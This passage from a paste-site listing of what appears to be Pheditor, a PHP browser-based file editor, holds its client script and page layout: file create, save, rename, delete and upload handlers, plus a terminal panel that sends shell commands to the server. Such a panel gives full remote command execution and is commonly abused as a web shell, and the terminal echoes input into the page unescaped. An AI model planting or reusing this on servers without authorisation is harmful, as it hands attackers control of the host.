  833.  
  834.                 if (path.length > 0) {
  835.                     var name = prompt("Please enter directory name:", "new-dir"),
  836.                         end = path.substring(path.length - 1),
  837.                         dir = "";
  838.  
  839.                     if (name != null && name.length > 0) {
  840.                         if (end == "/") {
  841.                             dir = path + name;
  842.                         } else {
  843.                             dir = path.substring(0, path.lastIndexOf("/") + 1) + name;
  844.                         }
  845.  
  846.                         $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  847.                             action: "make-dir",
  848.                             dir: dir
  849.                         }, function(data) {
  850.                             alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  851.  
  852.                             if (data.error == false) {
  853.                                 reloadFiles();
  854.                             }
  855.                         });
  856.                     }
  857.                 } else {
  858.                     alertBox("Warning", "Please select a file or directory", "yellow");
  859.                 }
  860.             });
  861.  
  862.             $(".dropdown .save").click(function() {
  863.                 var path = $("#path").html(),
  864.                     data = editor.getValue();
  865.  
  866.                 if (path.length > 0) {
  867.                     $("#digest").val(sha512(data));
  868.  
  869.                     $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  870.                         action: "save",
  871.                         file: path,
  872.                         data: data
  873.                     }, function(data) {
  874.                         alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  875.                     });
  876.                 } else {
  877.                     alertBox("Warning", "Please select a file", "yellow");
  878.                 }
  879.             });
  880.  
  881.             $(".dropdown .close").click(function() {
  882.                 editor.setValue("");
  883.                 $("#files > div a:first").click();
  884.                 $(".dropdown").find(".save, .delete, .rename, .reopen, .close").addClass("disabled");
  885.             });
  886.  
  887.             $(".dropdown .delete").click(function() {
  888.                 var path = $("#path").html();
  889.  
  890.                 if (path.length > 0) {
  891.                     if (confirm("Are you sure to delete this file?")) {
  892.                         $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  893.                             action: "delete",
  894.                             path: path
  895.                         }, function(data) {
  896.                             alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  897.  
  898.                             if (data.error == false) {
  899.                                 reloadFiles();
  900.                             }
  901.                         });
  902.                     }
  903.                 } else {
  904.                     alertBox("Warning", "Please select a file or directory", "yellow");
  905.                 }
  906.             });
  907.  
  908.             $(".dropdown .rename").click(function() {
  909.                 var path = $("#path").html(),
  910.                     split = path.split("/"),
  911.                     file = split[split.length - 1],
  912.                     dir = split[split.length - 2],
  913.                     new_file_name;
  914.  
  915.                 if (path.length > 0) {
  916.                     if (file.length > 0) {
  917.                         new_file_name = file;
  918.                     } else if (dir.length > 0) {
  919.                         new_file_name = dir;
  920.                     } else {
  921.                         new_file_name = "new-file";
  922.                     }
  923.  
  924.                     var name = prompt("Please enter new name:", new_file_name);
  925.  
  926.                     if (name != null && name.length > 0) {
  927.                         $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  928.                             action: "rename",
  929.                             path: path,
  930.                             name: name
  931.                         }, function(data) {
  932.                             alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  933.  
  934.                             if (data.error == false) {
  935.                                 reloadFiles(path.substring(0, path.lastIndexOf("/")) + "/" + name);
  936.                             }
  937.                         });
  938.                     }
  939.                 } else {
  940.                     alertBox("Warning", "Please select a file or directory", "yellow");
  941.                 }
  942.             });
  943.  
  944.             $(".dropdown .reopen").click(function() {
  945.                 var path = $("#path").html();
  946.  
  947.                 if (path.length > 0) {
  948.                     $(window).trigger("hashchange");
  949.                 }
  950.             });
  951.  
  952.             $(window).resize(function() {
  953.                 if (window.innerWidth >= 720) {
  954.                     var terminalHeight = $("#terminal").length > 0 ? $("#terminal").height() : 0,
  955.                         height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - terminalHeight - 30;
  956.  
  957.                     $("#files, .CodeMirror").css({
  958.                         "height": height + "px"
  959.                     });
  960.                 } else {
  961.                     $("#files > div, .CodeMirror").css({
  962.                         "height": ""
  963.                     });
  964.                 }
  965.  
  966.                 if (document.fullscreen) {
  967.                     $("#prompt pre").height($(window).height() - $("#prompt input.command").height() - 20);
  968.                 }
  969.             });
  970.  
  971.             $(window).resize();
  972.  
  973.             $(document).bind("keyup", function(event) {
  974.                 if ((event.ctrlKey || event.metaKey) && event.shiftKey) {
  975.                     if (event.keyCode == 78) {
  976.                         $(".dropdown .new-file").click();
  977.                         event.preventDefault();
  978.  
  979.                         return false;
  980.                     } else if (event.keyCode == 83) {
  981.                         $(".dropdown .save").click();
  982.                         event.preventDefault();
  983.  
  984.                         return false;
  985.                     } else if (event.keyCode == 76) {
  986.                         $("#terminal .toggle").click();
  987.                         event.preventDefault();
  988.  
  989.                         return false;
  990.                     }
  991.                 }
  992.             });
  993.  
  994.             $(document).bind("keyup", function(event) {
  995.                 if (event.keyCode == 27) {
  996.                     if (last_keyup_press == true) {
  997.                         last_keyup_double = true;
  998.  
  999.                         $("#fileMenu").click();
  1000.                         $("body").focus();
  1001.                     } else {
  1002.                         last_keyup_press = true;
  1003.  
  1004.                         setTimeout(function() {
  1005.                             if (last_keyup_double === false) {
  1006.                                 if (document.activeElement.tagName.toLowerCase() == "textarea") {
  1007.                                     if ($("#terminal #prompt").hasClass("show")) {
  1008.                                         $("#terminal .command").focus();
  1009.                                     } else {
  1010.                                         $(".jstree-clicked").focus();
  1011.                                     }
  1012.                                 } else if (document.activeElement.tagName.toLowerCase() == "input") {
  1013.                                     $(".jstree-clicked").focus();
  1014.                                 } else {
  1015.                                     editor.focus();
  1016.                                 }
  1017.                             }
  1018.  
  1019.                             last_keyup_press = false;
  1020.                             last_keyup_double = false;
  1021.                         }, 250);
  1022.                     }
  1023.                 }
  1024.             });
  1025.  
  1026.             $(window).on("hashchange", function() {
  1027.                 var hash = window.location.hash.substring(1),
  1028.                     data = editor.getValue();
  1029.  
  1030.                 if (hash.length > 0) {
  1031.                     if ($("#digest").val().length < 1 || $("#digest").val() == sha512(data)) {
  1032.                         if (hash.substring(hash.length - 1) == "/") {
  1033.                             var dir = $("a[data-dir='" + hash + "']");
  1034.  
  1035.                             if (dir.length > 0) {
  1036.                                 editor.setValue("");
  1037.                                 $("#digest").val("");
  1038.                                 $("#path").html(hash);
  1039.                                 $(".dropdown").find(".save, .reopen, .close").addClass("disabled");
  1040.                                 $(".dropdown").find(".delete, .rename").removeClass("disabled");
  1041.                             }
  1042.                         } else {
  1043.                             var file = $("a[data-file='" + hash + "']");
  1044.  
  1045.                             if (file.length > 0) {
  1046.                                 $("#loading").fadeIn(250);
  1047.  
  1048.                                 $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  1049.                                     action: "open",
  1050.                                     file: encodeURIComponent(hash)
  1051.                                 }, function(data) {
  1052.                                     if (data.error == true) {
  1053.                                         alertBox("Error", data.message, "red");
  1054.  
  1055.                                         return false;
  1056.                                     }
  1057.  
  1058.                                     editor.setValue(data.data);
  1059.                                     editor.setOption("mode", "application/x-httpd-php");
  1060.  
  1061.                                     $("#digest").val(sha512(data.data));
  1062.  
  1063.                                     if (hash.lastIndexOf(".") > 0) {
  1064.                                         var extension = hash.substring(hash.lastIndexOf(".") + 1);
  1065.  
  1066.                                         if (modes[extension]) {
  1067.                                             editor.setOption("mode", modes[extension]);
  1068.                                         }
  1069.                                     }
  1070.  
  1071.                                     $("#editor").attr("data-file", hash);
  1072.                                     $("#path").html(hash).hide().fadeIn(250);
  1073.                                     $(".dropdown").find(".save, .delete, .rename, .reopen, .close").removeClass("disabled");
  1074.  
  1075.                                     $("#loading").fadeOut(250);
  1076.                                 });
  1077.                             }
  1078.                         }
  1079.                     } else if (confirm("Discard changes?")) {
  1080.                         $("#digest").val("");
  1081.  
  1082.                         $(window).trigger("hashchange");
  1083.                     }
  1084.                 }
  1085.             });
  1086.  
  1087.             if (window.location.hash.length < 1) {
  1088.                 window.location.hash = "/";
  1089.             } else {
  1090.                 $(window).trigger("hashchange");
  1091.             }
  1092.  
  1093.             $("#files").on("click", ".jstree-anchor", function() {
  1094.                 location.href = $(this).attr("href");
  1095.             });
  1096.  
  1097.             $(document).ajaxError(function(event, request, settings) {
  1098.                 var message = "An error occurred with this request.";
  1099.  
  1100.                 if (request.responseText.length > 0) {
  1101.                     message = request.responseText;
  1102.                 }
  1103.  
  1104.                 if (confirm(message + " Do you want to reload the page?")) {
  1105.                     location.reload();
  1106.                 }
  1107.  
  1108.                 $("#loading").fadeOut(250);
  1109.             });
  1110.  
  1111.             $(window).keydown(function(event) {
  1112.                 if ($("#fileMenu[aria-expanded='true']").length > 0) {
  1113.                     var code = event.keyCode;
  1114.  
  1115.                     if (code == 78) {
  1116.                         $(".new-file").click();
  1117.                     } else if (code == 83) {
  1118.                         $(".save").click();
  1119.                     } else if (code == 68) {
  1120.                         $(".delete").click();
  1121.                     } else if (code == 82) {
  1122.                         $(".rename").click();
  1123.                     } else if (code == 79) {
  1124.                         $(".reopen").click();
  1125.                     } else if (code == 67) {
  1126.                         $(".close").click();
  1127.                     } else if (code == 85) {
  1128.                         $(".upload-file").click();
  1129.                     }
  1130.                 }
  1131.             });
  1132.  
  1133.             $(".dropdown .upload-file").click(function() {
  1134.                 $("#uploadFileModal").modal("show");
  1135.                 $("#uploadFileModal input").focus();
  1136.             });
  1137.  
  1138.             $("#uploadFileModal button").click(function() {
  1139.                 var form = $(this).closest("form"),
  1140.                     formdata = false;
  1141.  
  1142.                 form.find("input[name=destination]").val(window.location.hash.substring(1));
  1143.  
  1144.                 if (window.FormData) {
  1145.                     formdata = new FormData(form[0]);
  1146.                 }
  1147.  
  1148.                 $.ajax({
  1149.                     url: "<?= $_SERVER['PHP_SELF'] ?>",
  1150.                     data: formdata ? formdata : form.serialize(),
  1151.                     cache: false,
  1152.                     contentType: false,
  1153.                     processData: false,
  1154.                     type: "POST",
  1155.                     success: function(data, textStatus, jqXHR) {
  1156.                         alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
  1157.  
  1158.                         if (data.error == false) {
  1159.                             reloadFiles();
  1160.                         }
  1161.                     }
  1162.                 });
  1163.             });
  1164.  
  1165.             var terminal_dir = "";
  1166.  
  1167.             $("#terminal .command").keydown(function(event) {
  1168.                 if (event.keyCode == 13) {
  1169.                     if ($(this).val().length > 0) {
  1170.                         var _this = $(this)
  1171.                         _val = _this.val();
  1172.  
  1173.                         if (_val.toLowerCase() == "clear") {
  1174.                             $("#terminal pre").html("");
  1175.                             _this.val("").focus();
  1176.  
  1177.                             return true;
  1178.                         }
  1179.  
  1180.                         _this.prop("disabled", true);
  1181.                         $("#terminal pre").append("<span class=\"command\">&gt; " + _val + "</span>\n");
  1182.                         $("#terminal pre").animate({
  1183.                             scrollTop: $("#terminal pre").prop("scrollHeight")
  1184.                         });
  1185.  
  1186.                         var terminal_commands = $.parseJSON(getCookie("terminal_commands"));
  1187.  
  1188.                         if (terminal_commands === false) {
  1189.                             terminal_commands = [];
  1190.                         }
  1191.  
  1192.                         terminal_commands.push(_val);
  1193.  
  1194.                         if (terminal_commands.length > 50) {
  1195.                             terminal_commands = terminal_commands.slice(1);
  1196.                         }
  1197.  
  1198.                         setCookie("terminal_commands", JSON.stringify(terminal_commands));
  1199.  
  1200.                         $.post("<?= $_SERVER['PHP_SELF'] ?>", {
  1201.                             action: "terminal",
  1202.                             command: _val,
  1203.                             dir: terminal_dir
  1204.                         }, function(data) {
  1205.                             if (data.error) {
  1206.                                 $("#terminal pre").append(data.message);
  1207.                             } else {
  1208.                                 if (data.dir != null) {
  1209.                                     terminal_dir = data.dir;
  1210.                                 }
  1211.  
  1212.                                 if (data.result == null) {
  1213.                                     data.result = "Command not found\n";
  1214.                                 }
  1215.  
  1216.                                 $("#terminal pre").append(data.result);
  1217.                             }
  1218.  
  1219.                             $("#terminal pre").stop().animate({
  1220.                                 scrollTop: $("#terminal pre").prop("scrollHeight")
  1221.                             });
  1222.                             _this.val("").prop("disabled", false).focus();
  1223.                         });
  1224.                     } else {
  1225.                         $("#terminal pre").append("\n");
  1226.                         $("#terminal pre").stop().animate({
  1227.                             scrollTop: $("#terminal pre").prop("scrollHeight")
  1228.                         });
  1229.                     }
  1230.                 } else if (event.keyCode == 38) {
  1231.                     var terminal_commands = $.parseJSON(getCookie("terminal_commands"));
  1232.  
  1233.                     if (terminal_commands && terminal_commands[terminal_commands.length - terminal_history]) {
  1234.                         $(this).val(terminal_commands[terminal_commands.length - terminal_history]);
  1235.  
  1236.                         terminal_history += 1;
  1237.                     }
  1238.                 } else if (event.keyCode == 40) {
  1239.                     if (terminal_history > 1) {
  1240.                         var terminal_commands = $.parseJSON(getCookie("terminal_commands"));
  1241.  
  1242.                         if (terminal_commands && terminal_commands[terminal_commands.length - terminal_history + 2]) {
  1243.                             $(this).val(terminal_commands[terminal_commands.length - terminal_history + 2]);
  1244.  
  1245.                             terminal_history -= 1;
  1246.                         }
  1247.                     }
  1248.                 }
  1249.             });
  1250.  
  1251.             $("#terminal .toggle").click(function() {
  1252.                 if ($(this).attr("aria-expanded") != "true") {
  1253.                     $("#terminal .command").focus();
  1254.                 }
  1255.             });
  1256.  
  1257.             $('#prompt').on('show.bs.collapse', function() {
  1258.                 $("#terminal").find(".clear, .copy, .fullscreen").css({
  1259.                     "display": "block",
  1260.                     "opacity": "0",
  1261.                     "margin-right": "-30px"
  1262.                 }).animate({
  1263.                     "opacity": "1",
  1264.                     "margin-right": "0px"
  1265.                 }, 250);
  1266.  
  1267.                 if (window.innerWidth >= 720) {
  1268.                     var height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - $("#terminal #prompt").height() - 55;
  1269.  
  1270.                     $("#files, .CodeMirror").animate({
  1271.                         "height": height + "px"
  1272.                     }, 250);
  1273.                 } else {
  1274.                     $("#files > div, .CodeMirror").animate({
  1275.                         "height": ""
  1276.                     }, 250);
  1277.                 }
  1278.  
  1279.                 setCookie("terminal", "1", 86400);
  1280.             }).on('hide.bs.collapse', function() {
  1281.                 $("#terminal").find(".clear, .copy, .fullscreen").fadeOut();
  1282.  
  1283.                 if (window.innerWidth >= 720) {
  1284.                     var height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - $("#terminal span").height() - 35;
  1285.  
  1286.                     $("#files, .CodeMirror").animate({
  1287.                         "height": height + "px"
  1288.                     }, 250);
  1289.                 } else {
  1290.                     $("#files > div, .CodeMirror").animate({
  1291.                         "height": ""
  1292.                     }, 250);
  1293.                 }
  1294.  
  1295.                 setCookie("terminal", "0", 86400);
  1296.             }).on('shown.bs.collapse', function() {
  1297.                 $("#terminal .command").focus();
  1298.             });
  1299.  
  1300.             $("#terminal button.clear").click(function() {
  1301.                 $("#terminal pre").html("");
  1302.                 $("#terminal .command").val("").focus();
  1303.             });
  1304.  
  1305.             $("#terminal button.copy").click(function() {
  1306.                 $("#terminal").append($("<textarea>").html($("#terminal pre").html()));
  1307.  
  1308.                 element = $("#terminal textarea")[0];
  1309.                 element.select();
  1310.                 element.setSelectionRange(0, 99999);
  1311.                 document.execCommand("copy");
  1312.  
  1313.                 $("#terminal textarea").remove();
  1314.             });
  1315.  
  1316.             if (getCookie("terminal") == "1") {
  1317.                 $("#terminal .toggle").click();
  1318.             }
  1319.  
  1320.             $("#terminal .fullscreen").click(function() {
  1321.                 var element = $("#terminal #prompt")[0];
  1322.  
  1323.                 if (element.requestFullscreen) {
  1324.                     element.requestFullscreen();
  1325.  
  1326.                     setTimeout(function() {
  1327.                         $("#prompt pre").height($(window).height() - $("#prompt input.command").height() - 20);
  1328.                         $("#prompt input.command").focus();
  1329.                     }, 500);
  1330.                 }
  1331.             });
  1332.  
  1333.             $(window).on("fullscreenchange", function() {
  1334.                 if (document.fullscreenElement == null) {
  1335.                     $("#terminal #prompt pre").css("height", "");
  1336.                     $(window).resize();
  1337.                 }
  1338.             });
  1339.         });
  1340.     </script>
  1341. </head>
  1342.  
  1343. <body>
  1344.  
  1345.     <div class="container-fluid">
  1346.  
  1347.         <div class="row p-3">
  1348.             <div class="col-md-3">
  1349.                 <h1><a href="http://github.com/hamidsamak/pheditor" target="_blank" title="Pheditor <?= VERSION ?>">Pheditor</a></h1>
  1350.             </div>
  1351.             <div class="col-md-9">
  1352.                 <div class="float-left">
  1353.                     <div class="dropdown float-left">
  1354.                         <button class="btn btn-secondary dropdown-toggle" type="button" id="fileMenu" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">File</button>
  1355.                         <div class="dropdown-menu" aria-labelledby="fileMenu">
  1356.                             <?php if (in_array('newfile', $permissions)) { ?>
  1357.                                 <a class="dropdown-item new-file" href="javascript:void(0);">New File <span class="float-right text-secondary">N</span></a>
  1358.                             <?php } ?>
  1359.  
  1360.                             <?php if (in_array('newdir', $permissions)) { ?>
  1361.                                 <a class="dropdown-item new-dir" href="javascript:void(0);">New Directory</a>
  1362.                             <?php } ?>
  1363.  
  1364.                             <?php if (in_array('uploadfile', $permissions)) { ?>
  1365.                                 <a class="dropdown-item upload-file" href="javascript:void(0);">Upload File <span class="float-right text-secondary">U</span></a>
  1366.                             <?php } ?>
  1367.  
  1368.                             <?php if (in_array('newfile', $permissions) || in_array('newdir', $permissions)) { ?>
  1369.                                 <div class="dropdown-divider"></div>
  1370.                             <?php } ?>
  1371.  
  1372.                             <?php if (in_array('newfile', $permissions) || in_array('editfile', $permissions)) { ?>
  1373.                                 <a class="dropdown-item save disabled" href="javascript:void(0);">Save <span class="float-right text-secondary">S</span></a>
  1374.                             <?php } ?>
  1375.  
  1376.                             <?php if (in_array('deletefile', $permissions) || in_array('deletedir', $permissions)) { ?>
  1377.                                 <a class="dropdown-item delete disabled" href="javascript:void(0);">Delete <span class="float-right text-secondary">D</span></a>
  1378.                             <?php } ?>
  1379.  
  1380.                             <?php if (in_array('renamefile', $permissions) || in_array('renamedir', $permissions)) { ?>
  1381.                                 <a class="dropdown-item rename disabled" href="javascript:void(0);">Rename <span class="float-right text-secondary">R</span></a>
  1382.                             <?php } ?>
  1383.  
  1384.                             <a class="dropdown-item reopen disabled" href="javascript:void(0);">Re-open <span class="float-right text-secondary">O</span></a>
  1385.                             <div class="dropdown-divider"></div>
  1386.                             <a class="dropdown-item close disabled" href="javascript:void(0);">Close <span class="float-right text-secondary">C</span></a>
  1387.                         </div>
  1388.                     </div>
  1389.                     <span id="path" class="btn float-left"></span>
  1390.                 </div>
  1391.  
  1392.                 <div class="float-right">
  1393.                     <?php if (in_array('changepassword', $permissions)) { ?><a href="javascript:void(0);" class="change-password btn btn-sm btn-primary">Password</a> &nbsp; <?php } ?><a href="<?= $_SERVER['PHP_SELF'] ?>?logout=1" class="btn btn-sm btn-danger">Logout</a>
  1394.                 </div>
  1395.             </div>
  1396.         </div>
  1397.  
  1398.         <div class="row px-3">
  1399.             <div class="col-lg-3 col-md-3 col-sm-12 col-12">
  1400.                 <div id="files" class="card">
  1401.                     <div class="card-block"><?= files(MAIN_DIR) ?></div>
  1402.                 </div>
  1403.             </div>
  1404.  
  1405.             <div class="col-lg-9 col-md-9 col-sm-12 col-12">
  1406.                 <div class="card">
  1407.                     <div class="card-block">
  1408.                         <div id="loading">
  1409.                             <div class="lds-ring">
  1410.                                 <div></div>
  1411.                                 <div></div>
  1412.                                 <div></div>
  1413.                                 <div></div>
  1414.                             </div>
  1415.                         </div>
  1416.                         <textarea id="editor" data-file="" class="form-control"></textarea>
  1417.                         <input id="digest" type="hidden" readonly>
  1418.                     </div>
  1419.                 </div>
  1420.             </div>
  1421.  
  1422.             <?php if (in_array('terminal', $permissions) !== false) : ?>
  1423.                 <div class="col-12">
  1424.                     <div class="card">
  1425.                         <div class="card-block">
  1426.                             <div id="terminal">
  1427.                                 <div>
  1428.                                     <button type="button" class="btn btn-light float-right ml-1 clear" style="display: none;">Clear</button>
  1429.                                     <button type="button" class="btn btn-light float-right ml-1 copy" style="display: none;">Copy to clipboard</button>
  1430.                                     <button type="button" class="btn btn-light float-right ml-1 fullscreen" style="display: none;">Full Screen</button>
  1431.                                     <span class="toggle collapsed" data-toggle="collapse" data-target="#prompt"><i class="fa"></i> Terminal</span>
  1432.                                     <div style="clear:both"></div>
  1433.                                 </div>
  1434.                                 <div id="prompt" class="collapse">
  1435.                                     <pre></pre>
  1436.                                     <input name="command" type="text" value="" class="command" autocomplete="off">
  1437.                                 </div>
  1438.                             </div>
  1439.                         </div>
  1440.                     </div>
  1441.                 </div>
  1442.             <?php endif; ?>
  1443.  
  1444.         </div>
  1445.  
  1446.     </div>
  1447.  
  1448.     <form method="post">
  1449.         <input name="action" type="hidden" value="upload-file">
  1450.         <input name="destination" type="hidden" value="">
  1451.  
  1452.         <div class="modal" id="uploadFileModal">
  1453.             <div class="modal-dialog">
  1454.                 <div class="modal-content">
  1455.                     <div class="modal-header">
  1456.                         <h4 class="modal-title">Upload File</h4>
  1457.                         <button type="button" class="close" data-dismiss="modal">&times;</button>
  1458.                     </div>
  1459.                     <div class="modal-body">
  1460.                         <div>
  1461.                             <input name="uploadfile[]" type="file" value="" multiple>
  1462.                         </div>
  1463.                         <?php
  1464.  
  1465.                         if (function_exists('ini_get')) {
  1466.                             $sizes = [
  1467.                                 ini_get('post_max_size'),
  1468.                                 ini_get('upload_max_filesize')
  1469.                             ];
  1470.  
  1471.                             $max_size = max($sizes);
  1472.  
  1473.                             echo '<small class="text-muted">Maximum file size: ' . $max_size . '</small>';
  1474.                         }
  1475.  
  1476.                         ?>
  1477.                     </div>
  1478.                     <div class="modal-footer">
  1479.                         <button type="button" class="btn btn-success" data-dismiss="modal">Upload</button>
  1480.                     </div>
  1481.                 </div>
  1482.             </div>
  1483.         </div>
  1484.     </form>
  1485.  
  1486. </body>
  1487.  
  1488. </html>
Add Comment
Please, Sign In to add comment